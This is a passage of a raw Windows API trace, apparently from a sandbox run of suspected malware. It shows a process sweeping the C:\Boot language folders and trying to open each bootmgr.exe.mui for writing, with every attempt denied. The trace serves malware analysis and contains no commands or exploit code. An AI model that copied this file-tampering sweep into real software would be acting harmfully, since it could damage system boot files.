dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.349] GetLastError () returned 0x5 [0058.349] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.349] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.350] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0058.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.350] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.350] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\pl-PL", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.350] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.350] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.350] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0058.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.350] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0058.351] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.351] GetLastError () returned 0x5 [0058.351] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.351] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.351] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040)) returned 1 [0058.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.351] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.351] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.351] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\pt-BR", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.352] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.352] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.352] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040)) returned 1 [0058.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.352] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040)) returned 1 [0058.352] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.352] GetLastError () returned 0x5 [0058.352] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.352] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.352] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40)) returned 1 [0058.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.352] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.352] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.353] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\pt-PT", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.353] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.353] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.353] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40)) returned 1 [0058.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.353] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40)) returned 1 [0058.353] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.353] GetLastError () returned 0x5 [0058.353] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.353] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.353] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.353] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0058.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.354] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.354] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\ru-RU", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.354] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.354] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.354] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0058.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.354] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0058.354] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.354] GetLastError () returned 0x5 [0058.354] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.354] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.355] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.355] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0058.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.357] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\sv-SE", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.357] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.357] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0058.357] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.357] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0058.357] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.358] GetLastError () returned 0x5 [0058.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.358] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440)) returned 1 [0058.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.358] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.358] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\tr-TR", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.358] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.359] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440)) returned 1 [0058.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.359] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440)) returned 1 [0058.359] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.359] GetLastError () returned 0x5 [0058.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.359] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440)) returned 1 [0058.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.359] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.359] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.359] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\zh-CN", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.360] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440)) returned 1 [0058.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.360] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440)) returned 1 [0058.360] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.360] GetLastError () returned 0x5 [0058.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.360] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.360] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250)) returned 1 [0058.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.361] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.361] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\zh-HK", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.361] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250)) returned 1 [0058.361] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.361] GetFileAttributesExW (in: 